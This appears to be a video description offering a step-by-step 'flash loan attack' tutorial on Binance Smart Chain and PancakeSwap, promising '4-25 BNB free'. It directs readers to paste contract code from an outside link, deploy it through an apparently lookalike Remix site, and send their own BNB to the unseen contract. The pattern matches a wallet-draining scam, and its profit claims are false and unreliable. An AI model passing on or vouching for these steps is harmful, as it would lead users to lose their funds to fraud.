Flash Loan Tutorial Using BNB & PancakeSwap Flash Loan Attack

Flash Loan Tutorial Using BNB & PancakeSwap Flash Loan Attack

1,751 View

Flash loan tutorial using BNB and PancakeSwap. Follow these steps to get between 4-25 BNB free by using a flash loan attack.

Flash Loan Contract Code: https://flashloanbot.com/defi/arbitrage/contract_code_bv1
Contract Deploy (Update June): https://remixethereumcompiler.github.io/

If you don't have metamask or you don't know how to add the Binance Smart Chain, check out my other video explaining how or go to the official Binance Academy site:
https://www.youtube.com/watch?v=H41RYi2OorU
https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain


FULL INSTRUCTIONS
1. Download and setup the metamask browser wallet if you don't have it.
2. Make sure you have enough BNB to pay for the token creation and flash loan contract gas fees
a. The amount of BNB you want depends on how much of a loan you pull. It has to be a minimum of 0.15 for the contract to process fast enough. The higher the liquidity, the higher the profit.
3. Open remix.ethereum.org in your browser
4. Click on contract folder on the left and click New File
5. Name the file something like flashloan.sol
6. Copy and paste the contract code into the new file
7. Select the second tab on the left
8. Choose the compiler that matches the top of the code
9. Click on compile at the bottom
10. Once it is finished, go to the third tab on the left
11. Under environment, click on injected web3. This will connect to your metamask wallet so that you can interact.
12. Click on the arrow under deploy.
13. Enter the details for your new token. For the loan amount choose anything from 1000 and up. This needs to be in line with whatever liquidity you decide to deposit so it's usually .15 per 1000 bnb borrowed.
14. Click transact and then confirm the gas fees to launch the token in metamask.
15. Under deployed contracts, copy the new token contract code.
16. Go to your metamask or any wallet and send the liquidity to the new contract code.
17. Wait until the transaction is confirmed on the blockchain
18. Once that is finished, click the arrow and click the red Action button and confirm the gas fees to execute the flash loan attack.
19. That's it! The flash loan will be paid back automatically and any profit will be returned to your wallet in a few seconds/minutes.